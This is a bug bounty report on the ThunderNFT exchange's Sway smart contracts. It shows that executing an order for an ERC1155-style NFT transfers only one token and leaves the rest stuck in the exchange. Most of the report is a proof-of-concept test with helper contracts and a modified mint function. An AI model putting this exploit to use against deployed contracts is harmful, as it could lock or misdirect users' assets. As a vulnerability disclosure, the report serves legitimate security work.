Submitted on Sun Sep 01 2024 20:02:08 GMT-0400 (Atlantic Standard Time) by @SimaoAmaro for IOP | ThunderNFT
Report ID: #34957
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/ThunderFuel/smart-contracts/tree/main/contracts-v1/libraries
Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Executed orders always transfer 1 nft to the taker, when the maker order may have deposited more than 1 amount of the given collection and token id nft to the ThunderExchange
.
When executing orders in ThunderExchange::executeOrder()
, it gets the result of the execution from the picked strategy, strategy_fixed_price_sale
in this case, more precisely from ExecutionResult::s1()
, which always returns an amount of 1
.
However, orders may be place with an amount bigger than 1 as the ThunderExchange
supports erc1155 style nfts. Thus, The following scenario will happen:
- User places an order of a certain erc1155 style nft with an amount bigger than 1.
- Another user executes the order, but only receives 1 nft, instead of the whole amount in the order. The remaining nfts get stuck in the
ThunderExchange
.
Stuck nfts in the ThunderExchange
.
To run a proof of concept, the exchange was modified to allow a maker of type Contract, as Sway tests do not support pranking an EOA.
Additionally, 3 new contracts were created, one user contract simulating a user placing an order, another user contract simulating a user executing the order and a erc1155 contract, simulating an erc1155 token.
The full changes were pushed to a github repository which can be shared with the team if requested.
The main test file is the following:
contract;
use interfaces::{
thunder_exchange_interface::{ThunderExchange},
royalty_manager_interface::*,
asset_manager_interface::*,
execution_manager_interface::ExecutionManager,
execution_strategy_interface::*,
pool_interface::Pool,
};
use libraries::{
msg_sender_address::*,
constants::*,
order_types::*,
ownable::*,
};
use std::{
block::timestamp,
auth::*,
call_frames::*,
context::*,
contract_id::ContractId,
logging::log,
revert::require,
storage::storage_map::*,
asset::*
};
abi Erc1155 {
#[storage(read, write)]
fn constructor(owner: Identity);
#[storage(read, write)]
fn mint(recipient: Identity, sub_id: SubId, amount: u64);
#[payable]
#[storage(read, write)]
fn burn(sub_id: SubId, amount: u64);
}
abi User {
fn place_order(thunder_exchange_contract: ContractId, maker_order_input: MakerOrderInput);
fn execute_order(thunder_exchange_contract: ContractId, order: TakerOrder, payment_asset: AssetId);
}
#[test()]
fn test_attack() {
initialize_functions();
call_attack();
}
fn initialize_functions() {
//initialize all contracts
let thunder_exch = abi(ThunderExchange, thunder_exchange::CONTRACT_ID);
thunder_exch.initialize();
let asset_mngr = abi(AssetManager, asset_manager::CONTRACT_ID);
asset_mngr.initialize();
// required for initialize below contracts
let exchange_contract_id = ContractId::from(thunder_exchange::CONTRACT_ID);
let asset_manger_contract_id = ContractId::from(asset_manager::CONTRACT_ID);
let fixed_strategy = abi(ExecutionStrategy, strategy_fixed_price_sale::CONTRACT_ID);
fixed_strategy.initialize(exchange_contract_id);
let execution_manager = abi(ExecutionManager, execution_manager::CONTRACT_ID);
execution_manager.initialize();
let royalty_manager = abi(RoyaltyManager, royalty_manager::CONTRACT_ID);
royalty_manager.initialize();
let pool = abi(Pool, pool::CONTRACT_ID);
pool.initialize(exchange_contract_id, asset_manger_contract_id);
let erc1155 = abi(Erc1155, erc1155::CONTRACT_ID);
erc1155.constructor(Identity::ContractId(ContractId::this()));
let execution_manager = abi(ExecutionManager, execution_manager::CONTRACT_ID);
execution_manager.add_strategy(ContractId::from(strategy_fixed_price_sale::CONTRACT_ID));
let asset_manager = abi(AssetManager, asset_manager::CONTRACT_ID);
asset_manager.add_asset(AssetId::new(ContractId::from(erc1155::CONTRACT_ID), SubId::zero()));
thunder_exch.set_execution_manager(ContractId::from(execution_manager::CONTRACT_ID));
thunder_exch.set_asset_manager(ContractId::from(asset_manager::CONTRACT_ID));
thunder_exch.set_royalty_manager(ContractId::from(royalty_manager::CONTRACT_ID));
}
fn call_attack() {
let thunder_exchange = ContractId::from(thunder_exchange::CONTRACT_ID);
let strategy = ContractId::from(strategy_fixed_price_sale::CONTRACT_ID);
let user = abi(User, user::CONTRACT_ID);
let erc1155 = abi(Erc1155, erc1155::CONTRACT_ID);
let sub_id = 0x0000000000000000000000000000000000000000000000000000000000000001;
erc1155.mint(Identity::ContractId(ContractId::from(user::CONTRACT_ID)), sub_id, 2);
let payment_asset = AssetId::new(ContractId::from(erc1155::CONTRACT_ID), SubId::zero());
let erc1155_asset = AssetId::new(ContractId::from(erc1155::CONTRACT_ID), sub_id);
let erc1155_amount = 2;
let maker_order = MakerOrderInput {
side: Side::Sell,
maker: Identity::ContractId(ContractId::from(user::CONTRACT_ID)),
collection: ContractId::from(erc1155::CONTRACT_ID),
token_id: sub_id,
price: 1,
amount: erc1155_amount,
nonce: 1,
strategy: strategy,
payment_asset: payment_asset,
expiration_range: 100,
extra_params: ExtraParams {
extra_address_param: Address::zero(),
extra_contract_param: ContractId::zero(),
extra_u64_param: 0,
},
};
let user = abi(User, user::CONTRACT_ID);
user.place_order(thunder_exchange, maker_order);
let user2 = abi(User, user2::CONTRACT_ID);
let taker_order = TakerOrder {
side: Side::Buy,
taker: Identity::ContractId(ContractId::from(user2::CONTRACT_ID)),
maker: Identity::ContractId(ContractId::from(user::CONTRACT_ID)),
nonce: 1,
price: 1,
token_id: sub_id,
collection: ContractId::from(erc1155::CONTRACT_ID),
strategy: strategy,
extra_params: ExtraParams {
extra_address_param: Address::zero(),
extra_contract_param: ContractId::zero(),
extra_u64_param: 0,
},
};
erc1155.mint(Identity::ContractId(ContractId::from(user2::CONTRACT_ID)), SubId::zero(), 1);
user2.execute_order(thunder_exchange, taker_order, payment_asset);
assert(balance_of(ContractId::from(user2::CONTRACT_ID), erc1155_asset) == 1);
assert(balance_of(thunder_exchange, erc1155_asset) == 1);
}
The user contract placing the order is:
contract;
use interfaces::{
thunder_exchange_interface::{ThunderExchange},
};
use libraries::{
order_types::*,
};
abi User {
fn place_order(thunder_exchange_contract: ContractId, maker_order_input: MakerOrderInput);
}
impl User for Contract {
fn place_order(thunder_exchange_contract: ContractId, maker_order_input: MakerOrderInput) {
let thunder_exchange = abi(ThunderExchange, thunder_exchange_contract.into());
let asset_id = AssetId::new(maker_order_input.collection, maker_order_input.token_id);
thunder_exchange.place_order{asset_id: asset_id.bits(), coins: maker_order_input.amount}(maker_order_input);
}
}
The user contract executing the order is:
contract;
use interfaces::{
thunder_exchange_interface::{ThunderExchange},
};
use libraries::{
order_types::*,
};
abi User {
fn execute_order(thunder_exchange_contract: ContractId, order: TakerOrder, payment_asset: AssetId);
}
impl User for Contract {
fn execute_order(thunder_exchange_contract: ContractId, order: TakerOrder, payment_asset: AssetId) {
let thunder_exchange = abi(ThunderExchange, thunder_exchange_contract.into());
thunder_exchange.execute_order{asset_id: payment_asset.bits(), coins: order.price}(order);
}
}
The erc1155 is the same as the erc721, but the mint function had the checks removed to allow more than 1 coin per token id:
fn mint(recipient: Identity, sub_id: SubId, amount: u64) {
require_not_paused();
// Mint the ERC1155
let _ = _mint(
storage
.total_assets,
storage
.total_supply,
recipient,
sub_id,
amount,
);
}